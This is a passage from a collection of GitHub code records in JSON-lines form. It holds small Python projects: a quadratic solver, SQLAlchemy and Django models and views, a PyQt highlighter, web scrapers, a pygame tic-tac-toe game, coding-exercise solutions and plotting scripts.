quadratic equation?\n\n# In[21]:\n\n\nimport math\ndef solve_quadratic(a, b, c):\n discriminant = b**2 - 4*a*c\n # Checking if the discriminant is positive, negative, or zero\n if discriminant > 0:\n root1 = (-b + math.sqrt(discriminant)) / (2*a)\n root2 = (-b - math.sqrt(discriminant)) / (2*a)\n return \"Two distinct real roots:\", root1, root2\n elif discriminant == 0:\n root = -b / (2*a)\n return \"One real root:\", root\n else:\n real_part = -b / (2*a)\n imaginary_part = math.sqrt(abs(discriminant)) / (2*a)\n return \"Two complex roots:\", complex(real_part, imaginary_part), complex(real_part, -imaginary_part)\n\na = float(input(\"Enter coefficient a: \"))\nb = float(input(\"Enter coefficient b: \"))\nc = float(input(\"Enter coefficient c: \"))\n\nresult = solve_quadratic(a, b, c)\n\nprint(\"Solution:\", result)\n\n\n# ## Q5.\tWrite a Python program to swap two variables without temp variable?\n\n# In[23]:\n\n\ndef swap(a,b):\n a,b=b,a\n return a,b\nswap(10,15)\n\n","repo_name":"praveentomar-git/Python-Basics-Programming-Assignments","sub_path":"Programming_Assignment_2.py","file_name":"Programming_Assignment_2.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25459270389","text":"import base64\nimport re\nfrom sqlalchemy.ext.hybrid import hybrid_property\nfrom pd.sqla import db, CreateTimestampMixin, ignore_integrity_error\n\n\n_uq_fb_id_pattern = re.compile('uq_(\\w+)_fb_id')\n\n\nclass Base(CreateTimestampMixin, db.Model):\n __abstract__ = True\n fb_id = db.Column(db.Text, unique=True)\n\n @classmethod\n def upsert(cls, fb_id, **data):\n obj = cls.query.filter_by(fb_id=fb_id).first()\n if not obj:\n obj = cls()\n db.session.add(obj)\n obj.fb_id = fb_id\n for k, v in data.items():\n setattr(obj, k, v)\n return obj\n\n @classmethod\n def try_insert(cls, **kwargs):\n \"\"\"\n Try to insert the current object. If object already exists(violates\n unique on fb_id), the transaction is rollback.\n \"\"\"\n obj = cls(**kwargs)\n with ignore_integrity_error(_uq_fb_id_pattern):\n db.session.add(obj)\n db.session.flush()\n return obj\n\n @classmethod\n def fb_query(cls, fb_id):\n return cls.query.filter(cls.fb_id == fb_id)\n\n @classmethod\n def encode_gid(cls, mapper_name, id):\n return base64.b64encode(\n '{}|{}'.format(mapper_name, id).encode()\n ).decode()\n\n @classmethod\n def decode_gid(cls, gid):\n \"\"\"\n returns: tuple (mapper_class, pk)\n \"\"\"\n try:\n decoded = base64.b64decode(gid).decode()\n mapper_name, ident = decoded.split('|')\n return cls._decl_class_registry[mapper_name], int(ident)\n except (KeyError, ValueError, UnicodeDecodeError):\n pass\n\n @property\n def gid(self):\n return self.encode_gid(self.__class__.__name__, self.id)\n\n @hybrid_property\n def is_from_fb(self):\n return self.fb_id != None # noqa\n\n def __repr__(self):\n return '{}[{}]'.format(self.__tablename__, self.id)\n\n\nclass ActionParentMixin:\n\n def add_action(self, action_cls, **kwargs):\n action = action_cls(parent_id=self.id,\n parent_type=self.__class__.__name__, **kwargs)\n num_col = getattr(\n self.__table__.c, '{}s_num'.format(action_cls.__name__.lower()))\n with ignore_integrity_error(_uq_fb_id_pattern):\n db.session.add(action)\n self.query.filter_by(id=self.id).update({\n num_col: num_col + 1,\n })\n db.session.flush()\n return action\n\n def remove_action(self, action_cls, **kwargs):\n action = action_cls.query.filter_by(parent=self, **kwargs).first()\n num_col = getattr(\n self.__table__.c, '{}s_num'.format(action_cls.__name__.lower()))\n if action:\n self.query.filter_by(id=self.id).update({\n num_col: num_col - 1,\n })\n db.session.delete(action)\n db.session.flush()\n return True\n return False\n","repo_name":"alinzel/NOTES","sub_path":"other/panda365/panda365/pd/facebook/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6540384721","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author: SunGyo Kim\n# Email: Kimsg1984@gmail.com\n# irc.freenode #ubuntu-ko Sungyo\n\n\"\"\"PyQt4 port of the richtext/syntaxhighlighter example from Qt v4.x\"\"\"\n\nimport logging\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\n\nlog = logging.getLogger(__name__)\n\ndef generateFormat(color=None, size=None, underline=False):\n\tkeywordFormat = QTextCharFormat()\n\tif color : keywordFormat.setForeground(color) # QT.$color\n\tif size \t: keywordFormat.setFontPointSize(size)\n\tif underline: keywordFormat.setFontUnderline(True)\n\treturn keywordFormat\n\nclass Highlighter(QSyntaxHighlighter):\n\tdef __init__(self, parent=None):\n\t\tsuper(Highlighter, self).__init__(parent)\n\n\t\tself.keywordFormat = generateFormat(color = Qt.blue, underline = True)\n\t\tself.keywordFormat.setAnchor(True)\n\n\t\tself.highlightingRules = []\n\t\tself.highlight_information = {} # $block_number : [[$index_start, $index_end, '$index_type', '$link_to'], ...]\n\n\tdef addKeyword(self, keyword):\n\t\tself.highlightingRules.append((QRegExp(\"\\\\b%s\\\\b\" %keyword, Qt.CaseInsensitive), self.keywordFormat))\n\n\tdef highlightBlock(self, text):\n\t\tdef popHighlightInformation(block_number, info_list):\n\t\t\tif block_number in self.highlight_information:\n\t\t\t\tself.highlight_information[block_number].append(info_list)\n\t\t\telse:\n\t\t\t\tself.highlight_information[block_number] = [info_list]\n\n\t\tblock_number = self.currentBlock().blockNumber()\n\t\tif block_number == 0: #title\n\t\t\tself.setFormat(0, len(text), generateFormat(color = Qt.blue, size = 20, underline = True))\n\n\t\telse:\n\t\t\tfor pattern, format in self.highlightingRules:\n\t\t\t\texpression = QRegExp(pattern)\n\t\t\t\tindex = expression.indexIn(text)\n\t\t\t\twhile index >= 0:\n\t\t\t\t\tlength = expression.matchedLength()\n\t\t\t\t\tlink_text = '{}'.format(text[index:index + length])\n\t\t\t\t\tpopHighlightInformation(block_number, [index, index + length, 'inter_link', link_text])\n\t\t\t\t\tlog.debug('{},{},{}'.format(block_number, index, length, link_text))\n\t\t\t\t\tformat.setAnchorHref(link_text)\n\t\t\t\t\tself.setFormat(index, length, format)\n\t\t\t\t\tindex = expression.indexIn(text, index + length)\n\t\t\tself.setCurrentBlockState(0)","repo_name":"kimsg1984/HEN","sub_path":"src/hen/highlighter.py","file_name":"highlighter.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"16533540981","text":"\"\"\"\nThis program extracts the content html from an online court report when given the url. It then writes\nfiles for individual court reports, a cumulative court report, and a list of urls that lead\nto blank pages or pages that need additional clicks to reach a non-English court report.\n\"\"\"\n\n#import statements\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom time import sleep\n\n#Location of URL File\nURL_FILE = '' #Fill in\n#Directory of Folder to Contain reports\nLOCAL_REPORT_DIRECTORY = '' #Fill in\n#Location of file to contain all urls that lead to a pick language interface or empty container\nEXCEPTION_URLS = '' #Fill in\n#Location of file to contain all reports\nCUMULATIVE_REPORT = '' #Fill in\n\n#e is the file that contains the exception URLs\ne = open(EXCEPTION_URLS, 'w')\n\n#t is the file that contains all the reports\nt = open(CUMULATIVE_REPORT, 'w')\n\n#u is the file that contains all the urls\nu = open(URL_FILE, 'r')\nurlList = u.readlines()\n\ndriver = webdriver.Firefox()\n\ncount = 0\n\nfor url in urlList:\n count += 1\n if count % 200 == 0:\n driver.quit()\n sleep(5)\n driver = webdriver.Firefox()\n sleep(5)\n\n driver.get(url)\n sleep(8) #give webpage time to load\n information = driver.find_element_by_class_name('content')\n viewReportLXML = BeautifulSoup(information.get_attribute('innerHTML'), 'lxml')\n #if url actually leads to a court report\n if viewReportLXML.find(\"p\"):\n t.write('------------------------------------------------------------------------------------------\\n\\n')\n f = open((LOCAL_REPORT_DIRECTORY + url[32:] + '.txt'), 'w')\n for item in viewReportLXML.find_all(\"p\"):\n f.write(item.get_text().encode('utf-8'))\n f.write('\\n')\n t.write(item.get_text().encode('utf-8'))\n t.write('\\n')\n f.close()\n t.write('\\n\\n------------------------------------------------------------------------------------------')\n #if url leads to a pick language interface or empty container\n else:\n e.write(url)\n e.write('\\n')\n #now onto the \"Case Details\"\n\n\n\ne.close()\nt.close()\nu.close()","repo_name":"dongpengxia/ResearchScripts","sub_path":"ReportSaver.py","file_name":"ReportSaver.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5892272203","text":"from django.shortcuts import render\nimport json\nfrom . import models\nfrom django.http import JsonResponse\nfrom rest_framework import viewsets\nfrom rest_framework import generics\nfrom . import serializers\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\ndef create_good(request):\n if request.method == 'GET':\n goods = models.Good.objects.all()\n info = []\n for good in goods:\n info.append({'name': good.name, 'price': good.price, 'firm': good.firm.id, 'categories': good.categories.id})\n json_data = json.dumps(info)\n return JsonResponse(json_data, safe=False)\n if request.method == 'POST':\n info = json.loads(request.body)\n new_good = models.Good.objects.create(**info)\n json_data = {'name': new_good.name, 'price': new_good.price, 'firm': new_good.firm.id, 'categories': new_good.categories.id}\n return JsonResponse(json_data, safe=False)\n\n\nclass GoodCreateListView(generics.ListCreateAPIView):\n queryset = models.Good.objects.all()\n serializer_class = serializers.GoodSerialize\n\n\nclass GoodRetrieveUpdateDestroyAPIView(generics.RetrieveUpdateDestroyAPIView):\n queryset = models.Good.objects.all()\n serializer_class = serializers.GoodSerialize\n\n\nclass GoodViewSet(viewsets.ModelViewSet):\n queryset = models.Good.objects.all()\n serializer_class = serializers.GoodSerialize\n\n\n@csrf_exempt\ndef create_firm(request):\n if request.method == 'GET':\n firms = models.Company.objects.all()\n info = []\n for firm in firms:\n info.append({'name': firm.name, 'office': firm.office})\n json_data = json.dumps(info)\n return JsonResponse(json_data, safe=False)\n if request.method == 'POST':\n info = json.loads(request.body)\n new_firm = models.Company.objects.create(**info)\n json_data = {'name': new_firm.name, 'office': new_firm.office}\n return JsonResponse(json_data, safe=False)\n\n\nclass CompanyCreateListView(generics.ListCreateAPIView):\n queryset = models.Company.objects.all()\n serializer_class = serializers.CompanySerialize\n\n\nclass CompanyRetrieveUpdateDestroyAPIView(generics.RetrieveUpdateDestroyAPIView):\n queryset = models.Company.objects.all()\n serializer_class = serializers.CompanySerialize\n\n\n@csrf_exempt\ndef create_category(request):\n if request.method == 'GET':\n categories = models.Category.objects.all()\n info = []\n for category in categories:\n info.append({'name': category.name})\n json_data = json.dumps(info)\n return JsonResponse(json_data, safe=False)\n if request.method == 'POST':\n info = json.loads(request.body)\n new_category = models.Category.objects.create(**info)\n json_data = {'name': new_category.name}\n return JsonResponse(json_data, safe=False)\n\n\n# class CategoryCreateListView(generics.ListCreateAPIView):\n# queryset = models.Category.objects.all()\n# serializer_class = serializers.CategorySerialize","repo_name":"iman-bolotbek-uulu/rest_hw3","sub_path":"my_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36703478398","text":"import random\nimport sys\nimport pygame\nimport time\n\npygame.init() # 初始化\nbg_size = width, height = 390, 650 # 设置界面大小\nscreen = pygame.display.set_mode(bg_size) # 设置界面\npygame.display.set_caption(\"井字棋\") # 设置游戏标题\ntitle = 1 # 加载logo\nmenu = single = double = result_1 = result_2 = result_3 = 0 # 不加载其余页面\n\n\nclass Button():\n def __init__(self, screen, pos_y, msg, button_color, text_color):\n \"\"\" 初始化参数 \"\"\"\n self.screen = screen\n self.pos_y = pos_y\n self.msg = msg\n self.button_color = button_color\n self.text_color = text_color\n\n \"\"\" 设置固定参数 \"\"\"\n self.pos_x = 100\n self.width, self.height = 200, 100\n self.font = pygame.font.SysFont('calibri', 60)\n\n \"\"\" 设置边框与文本信息 \"\"\"\n self.rect = pygame.draw.rect(screen, self.button_color, ((self.pos_x, self.pos_y), (self.width, self.height)), 0)\n self.prep_msg(msg)\n\n def prep_msg(self, msg): # 设置文本信息\n self.msg_image = self.font.render(msg, True, self.text_color, self.button_color)\n self.msg_image_rect = self.msg_image.get_rect()\n self.msg_image_rect.center = self.rect.center\n\n def draw_button(self): # 设置按钮\n self.screen.fill(self.button_color, self.rect)\n self.screen.blit(self.msg_image, self.msg_image_rect)\n\n\nyao_button = Button(screen, 200, \"Yao\", (0, 0, 0), (255, 0, 0))\ngame_button = Button(screen, 400, \"Game\", (0, 0, 0), (255, 255, 255))\nsingle_button = Button(screen, 100, \"SINGLE\", (255, 255, 255), (0, 0, 0))\ndouble_button = Button(screen, 300, \"DOUBLE\", (255, 255, 255), (0, 0, 0))\nquit_button = Button(screen, 500, \"QUIT\", (255, 255, 255), (0, 0, 0))\nreturn_button = Button(screen, 0, \"RETURN\", (255, 255, 255), (0, 0, 0))\nnow_1_button = Button(screen, 550, \"Now is X\", (0, 0, 0), (0, 255, 0))\nnow_0_button = Button(screen, 550, \"Now is 0\", (0, 0, 0), (0, 0, 255))\nresult_1_button = Button(screen, 300, \"X Win!\", (255, 255, 255), (255, 0, 0))\nresult_2_button = Button(screen, 300, \"O Win!\", (255, 255, 255), (255, 0, 0))\nresult_3_button = Button(screen, 300, \"draw\", (255, 255, 255), (255, 0, 0))\n\n\ndef draw_line(start=(100, 100), end=(200, 200)):\n line_color = (255, 255, 255)\n line_width = 10\n pygame.draw.line(screen, line_color, start, end, line_width)\n\n\ndef draw_circle(position=(100, 100)):\n line_color = (255, 255, 255)\n radius = 45\n line_width = 10\n pygame.draw.circle(screen, line_color, position, radius, line_width)\n\n\ndef draw_x(position=0):\n x = position % 3\n y = int(position / 3) + 1\n draw_line(start=(130*x+20, 130*y+20), end=(130*x+110, 130*y+110))\n draw_line(start=(130*x+110, 130*y+20), end=(130*x+20, 130*y+110))\n\n\ndef draw_o(position=0):\n x = position % 3\n y = int(position / 3) + 1\n draw_circle(position=(130*x+65, 130*y+65))\n\n\ndef draw_result(array):\n for index in range(len(array)):\n if array[index] == 0:\n draw_o(index)\n elif array[index] == 1:\n draw_x(index)\n\n\ndef judge(array):\n answer = 2\n for index in range(3):\n if array[index] == array[index + 3] == array[index + 6] != 2:\n answer = array[index]\n break\n elif array[3 * index] == array[3 * index + 1] == array[3 * index + 2] != 2:\n answer = array[3 * index]\n break\n elif array[0] == array[4] == array[8] or array[2] == array[4] == array[6] != 2:\n answer = array[4]\n return answer\n\n\ndef auto(array, step=0):\n another = (step + 1) % 2\n flag = 1\n if array[4] == 2:\n array[4] = step\n flag = 0\n else:\n for index in range(3):\n if array[index] == array[index + 3] == step and array[index + 6] == 2:\n array[index + 6] = step\n flag = 0\n break\n elif array[index] == array[index + 6] == step and array[index + 3] == 2:\n array[index + 3] = step\n flag = 0\n break\n elif array[index + 3] == array[index + 6] == step and array[index] == 2:\n array[index] = step\n flag = 0\n break\n elif array[3 * index] == array[3 * index + 1] == step and array[3 * index + 2] == 2:\n array[3 * index + 2] = step\n flag = 0\n break\n elif array[3 * index] == array[3 * index + 2] == step and array[3 * index + 1] == 2:\n array[3 * index + 1] = step\n flag = 0\n break\n elif array[3 * index + 1] == array[3 * index + 2] == step and array[3 * index] == 2:\n array[3 * index] = step\n flag = 0\n break\n elif array[0] == array[4] == step and array[8] == 2:\n array[8] = step\n flag = 0\n break\n elif array[4] == array[8] == step and array[0] == 2:\n array[0] = step\n flag = 0\n break\n elif array[2] == array[4] == step and array[6] == 2:\n array[6] = step\n flag = 0\n break\n elif array[4] == array[6] == step and array[2] == 2:\n array[2] = step\n flag = 0\n break\n if flag == 1:\n for index in range(3):\n if array[index] == array[index + 3] == another and array[index + 6] == 2:\n array[index + 6] = step\n flag = 0\n break\n elif array[index] == array[index + 6] == another and array[index + 3] == 2:\n array[index + 3] = step\n flag = 0\n break\n elif array[index + 3] == array[index + 6] == another and array[index] == 2:\n array[index] = step\n flag = 0\n break\n elif array[3 * index] == array[3 * index + 1] == another and array[3 * index + 2] == 2:\n array[3 * index + 2] = step\n flag = 0\n break\n elif array[3 * index] == array[3 * index + 2] == another and array[3 * index + 1] == 2:\n array[3 * index + 1] = step\n flag = 0\n break\n elif array[3 * index + 1] == array[3 * index + 2] == another and array[3 * index] == 2:\n array[3 * index] = step\n flag = 0\n break\n elif array[0] == array[4] == another and array[8] == 2:\n array[8] = step\n flag = 0\n break\n elif array[4] == array[8] == another and array[0] == 2:\n array[0] = step\n flag = 0\n break\n elif array[2] == array[4] == another and array[6] == 2:\n array[6] = step\n flag = 0\n break\n elif array[4] == array[6] == another and array[2] == 2:\n array[2] = step\n flag = 0\n break\n while flag:\n r = random.randint(0, 8)\n if array[r] == 2:\n array[r] = 0\n flag = 0\n break\n return array\n\n\nwhile True:\n while title:\n screen.fill((0, 0, 0))\n yao_button.draw_button()\n game_button.draw_button()\n pygame.display.flip()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n time.sleep(3)\n title = 0\n menu = 1\n\n while menu:\n screen.fill((0, 0, 0))\n win = 2\n a = [2, 2, 2, 2, 2, 2, 2, 2, 2]\n k = 1\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if 100 < mouse_x < 300:\n if 100 < mouse_y < 200:\n menu = 0\n single = 1\n elif 300 < mouse_y < 400:\n menu = 0\n double = 1\n elif 500 < mouse_y < 600:\n menu = 0\n title = 1\n single_button.draw_button()\n double_button.draw_button()\n quit_button.draw_button()\n pygame.display.flip()\n\n while single:\n screen.fill((0, 0, 0))\n draw_result(a)\n if win != 2:\n single = 0\n if win == 1:\n result_1 = 1\n else:\n result_2 = 1\n elif win == 2 and a.count(2) == 0:\n single = 0\n result_3 = 1\n return_button.draw_button()\n draw_line(start=(0, 260), end=(390, 260))\n draw_line(start=(0, 390), end=(390, 390))\n draw_line(start=(130, 130), end=(130, 520))\n draw_line(start=(260, 130), end=(260, 520))\n if k == 0:\n now_0_button.draw_button()\n else:\n now_1_button.draw_button()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if 0 < mouse_y < 100 and 100 < mouse_x < 300:\n single = 0\n menu = 1\n elif 130 < mouse_y < 520:\n i = int(mouse_y / 130 - 1) * 3 + int(mouse_x / 130)\n if a[i] == 2 and a.count(1) < 4:\n a[i] = 1\n win = judge(a)\n if win == 2:\n a = auto(a)\n win = judge(a)\n elif a.count(1) == 4:\n for num in range(len(a)):\n if a[num] == 2:\n a[num] = 1\n single = 0\n result_3 = 1\n pygame.display.flip()\n\n while double:\n screen.fill((0, 0, 0))\n draw_result(a)\n if win != 2:\n double = 0\n if win == 1:\n result_1 = 1\n else:\n result_2 = 1\n elif win == 2 and a.count(2) == 0:\n double = 0\n result_3 = 1\n return_button.draw_button()\n draw_line(start=(0, 260), end=(390, 260))\n draw_line(start=(0, 390), end=(390, 390))\n draw_line(start=(130, 130), end=(130, 520))\n draw_line(start=(260, 130), end=(260, 520))\n if k == 0:\n now_0_button.draw_button()\n else:\n now_1_button.draw_button()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if 0 < mouse_y < 100 and 100 < mouse_x < 300:\n double = 0\n menu = 1\n elif 130 < mouse_y < 520:\n i = int(mouse_y / 130 - 1) * 3 + int(mouse_x / 130)\n if a[i] == 2:\n a[i] = k\n k = (k + 1) % 2\n win = judge(a)\n pygame.display.flip()\n\n while result_1:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if 0 < mouse_y < 100 and 100 < mouse_x < 300:\n result_1 = 0\n menu = 1\n return_button.draw_button()\n result_1_button.draw_button()\n pygame.display.flip()\n\n while result_2:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if 0 < mouse_y < 100 and 100 < mouse_x < 300:\n result_2 = 0\n menu = 1\n return_button.draw_button()\n result_2_button.draw_button()\n pygame.display.flip()\n\n while result_3:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if 0 < mouse_y < 100 and 100 < mouse_x < 300:\n result_3 = 0\n menu = 1\n return_button.draw_button()\n result_3_button.draw_button()\n pygame.display.flip()\n","repo_name":"utai-utai/Play","sub_path":"1.Tic-Tac-Toe/Tic-Tac-Toe.py","file_name":"Tic-Tac-Toe.py","file_ext":"py","file_size_in_byte":12774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3631582811","text":"# https://leetcode.com/problems/relative-sort-array/\n# 1122. Relative Sort Array\n\nfrom collections import Counter\nclass Solution:\n def relativeSortArray(self, arr1: List[int], arr2: List[int]) -> List[int]:\n\n d1 = Counter(arr1)\n\n l = []\n for i in (arr2):\n l += [i] * d1[i]\n del d1[i]\n\n for i in sorted(d1):\n l += [i] * d1[i]\n\n return l","repo_name":"harshmalviya7/LeetCode_Coding_Questions","sub_path":"Array/relativeSortArray.py","file_name":"relativeSortArray.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"35851657548","text":"#1437. Given an array nums of 0s and 1s and an integer k, return True if all 1's are at least k places away from each other, otherwise return False.\nfrom typing import List\ndef kLengthApart(nums: List[int], k: int) -> bool:\n for i in range(len(nums)):\n if(nums[i] == 1 and i != len(nums) - 1):\n try:\n if(abs(i - nums.index(1, i+1)) <= k):\n return False\n except:\n print(\"error\")\n return True\n\nnums = [int(x) for x in input().split()]\nk = int(input())\nprint(kLengthApart(nums, k))","repo_name":"gandastik/LeetCode-Problems","sub_path":"python/1437.py","file_name":"1437.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72044358013","text":"x, y, z = map(int, input().split())\n\nwhile x != 0:\n x2 = x**2; y2 = y**2; z2 = z**2\n if 2 * max(x2, y2, z2) == x2 + y2 + z2:\n print(\"right\")\n else:\n print(\"wrong\")\n \n x, y, z = map(int, input().split())","repo_name":"yerine/algorithms","sub_path":"boj/4153_직각삼각형.py","file_name":"4153_직각삼각형.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18633626669","text":"from typing import List\n\nclass Solution:\n def findNumberOfLIS(self, nums: List[int]) -> int:\n dp = [1] * len(nums)\n cnt = [1] * len(nums)\n for i in range(len(nums)):\n for j in range(i-1,-1,-1):\n if nums[i] > nums[j]:\n if(dp[i]SORBI_3009G024600_maize_V4_\\\\+_8_135910122_136010121:(\\d+)\\-(\\d+)', line)\n if (m != None):\n referStart = int(m.group(1))\n referEnd = int(m.group(2))\n refSeqName = \"maize\"\n length = referEnd - referStart + 1\n else:\n m = re.search('>SORBI_3009G024600_(.*?):(\\d+)\\-(\\d+)', line)\n if (m != None):\n id = id + 1\n seqName = m.group(1)\n start = int(m.group(2))\n end = int(m.group(3))\n range = Range(refSeqName, referStart, referEnd, start, end, seqName, id, length)\n ranges.append(range)\n referStart=start\n referEnd=end\n refSeqName=seqName\n return ranges\n\n\nranges = readFile(\"/home/bs674/Dropbox/andropogoneae-conservation/SSW/cmake-build-debug/test\")\nf = open(\"/home/bs674/maize_sorghum5p_MSA_plot\",'w')\nfor range in ranges:\n f.write(str(range.refStart) + \" \" + range.refSeqName + \"\\t\" + str(range.id) + \"\\t\" + str(range.length) + \"\\n\")\n f.write(str(range.refEnd) + \" \" + range.refSeqName + \"\\t\" + str(range.id) + \"\\t\" + str(range.length) + \"\\n\")\n\n f.write(str(range.start) + \" \" + range.seqName + \"\\t\" + str(range.id) + \"\\t\" + str(range.length) + \"\\n\")\n f.write(str(range.end) + \" \" + range.seqName + \"\\t\" + str(range.id) + \"\\t\" + str(range.length) + \"\\n\")\n\nf.close()\n","repo_name":"baoxingsong/dCNS","sub_path":"scripts/multipleSpeciesToPlotFormat.py","file_name":"multipleSpeciesToPlotFormat.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"2384393843","text":"import scrapy\nfrom lxml import etree\nfrom Design.items import RankSpiderSpiderItem\n\nclass RankSpiderSpider(scrapy.Spider):\n name = 'rank_spider'\n allowed_domains = ['ac.nowcoder.com']\n start_urls = 'https://ac.nowcoder.com/acm/contest/rating-index?pageSize=50&searchUserName=&onlyMyFollow=false&page={}'\n count = 0\n all = 0\n custom_settings = {\n 'ITEM_PIPELINES': {'Design.pipelines.RankSpiderSpiderPipeline': 300},\n }\n\n def start_requests(self):\n with open('search_page.txt','r',encoding='utf-8') as fp:\n k = fp.read()\n self.all = eval(k)*50\n for i in range(1,eval(k)+1):\n url = self.start_urls.format(i)\n yield scrapy.Request(\n url = url,\n callback = self.parse\n )\n\n def parse(self, response):\n response = etree.HTML(response.text)\n for i in range(1, 51):\n self.count = self.count + 1\n print('rank_now:',format(self.count / self.all * 100, '.3f'), '%')\n item = RankSpiderSpiderItem()\n item['rank'] = ' ' + response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/td[1]/span/text()'.format(i))[0]\n item['name'] = ' ' + response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/td[2]/a/span/text()'.format(i))[0]\n state = response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/td[3]/span/a/text()'.format(i))\n if state:\n item['school'] = ' ' + state[0]\n else:\n item['school'] = ' 无'\n state = response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/td[4]/span/text()'.format(i))\n if state:\n item['description'] = ' ' + state[0]\n else:\n item['description'] = ' 无'\n item['rating'] = ' ' + response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/td[5]/span/text()'.format(i))[0]\n item['id'] = ' ' + response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/@data-uid'.format(i))[0]\n if response.xpath('/html/body/div/div[2]/div/div/div[2]/table/tbody/tr[{}]/td[2]/a/i'.format(i)):\n item['team'] = True\n else:\n item['team'] = False\n yield item\n\n pass\n","repo_name":"KRK11/NowcoderScrapy","sub_path":"Design/spiders/rank_spider.py","file_name":"rank_spider.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43845656977","text":"# verification-helper: PROBLEM https://judge.yosupo.jp/problem/enumerate_quotients\nimport sys\ninput = sys.stdin.buffer.readline\n\nfrom py.sqrt import isqrt\n\n\ndef main() -> None:\n n = int(input())\n v1 = []\n v2 = []\n m = isqrt(n)\n for i in range(1, m+1):\n v1.append(n//i)\n v2.append(i)\n if(v1[-1] == v2[-1]):\n v1.pop()\n v1.reverse()\n print(len(v1)+len(v2))\n print(*(v2+v1))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rainbou-kpr/library","sub_path":"test/yosupo-enumerate-quotients.test.py","file_name":"yosupo-enumerate-quotients.test.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"35165981932","text":"import numpy as np\nfrom scipy.stats import chisquare\nimport matplotlib.pyplot as plt\nfrom lmfit import Model\nfrom itertools import chain\nfrom matplotlib.offsetbox import AnchoredText\n\ndef gaussian(x, amp, cen, wid):\n \"1-d gaussian: gaussian(x, amp, cen, wid)\"\n return (amp/(np.sqrt(2*np.pi)*wid)) * np.exp(-(x-cen)**2 /(2*wid**2))\n\nplt.style.use('./mythesis.mplstyle')\n\ndef get_normed_histo(data, bins):\n hist, bin_edges = np.histogram(data, bins, range=rng)\n hist = np.divide(hist, np.sum(hist))\n return hist, bin_edges\n\ndef get_gauss_fit(hist, edges):\n gmodel = Model(gaussian)\n result = gmodel.fit(hist, x=edges[:-1], amp=1, cen=0, wid=2)\n return result\n\nrng = [-2, 2]\nbins = 20*2 + 1\n\n# Chi squared\nfig, axes = plt.subplots(3,3, sharey=True, sharex=True, figsize=[4.670, 6])\n\ndrx1 = np.linspace(-.5,.5,3)\ndrx2 = 0\ndrx3 = np.linspace(-1,1,3)\nrange1, range2, range3 = np.meshgrid(drx1, drx2, drx3)\nprint(range1, range3)\nfor dx,dy,dz, ax in zip(range3.flatten(), range2.flatten(), range1.flatten(), chain(*axes)):\n frame = \"-x_{:.1f}\".format(dx) + \"_y_{:.1f}\".format(dy) + \"_z_{:.1f}\".format(dz)\n\n df = np.load('output/cross_dist/dist{}.npz'.format(frame))\n dist_d = df['d']\n hist, bin_edges = get_normed_histo(dist_d, bins)\n result = get_gauss_fit(hist, bin_edges)\n\n ax.bar(bin_edges[:-1], hist, width=(bin_edges[1]-bin_edges[0]), label='full set')\n #ax.bar(bin_edges[:-1], filtered, width=(bin_edges[1]-bin_edges[0]), label=\"w/o broken\")\n ax.plot(bin_edges[:-1], result.best_fit, 'purple', label='best fit', alpha=0.5)\n\n ax.set_xlim(min(bin_edges), 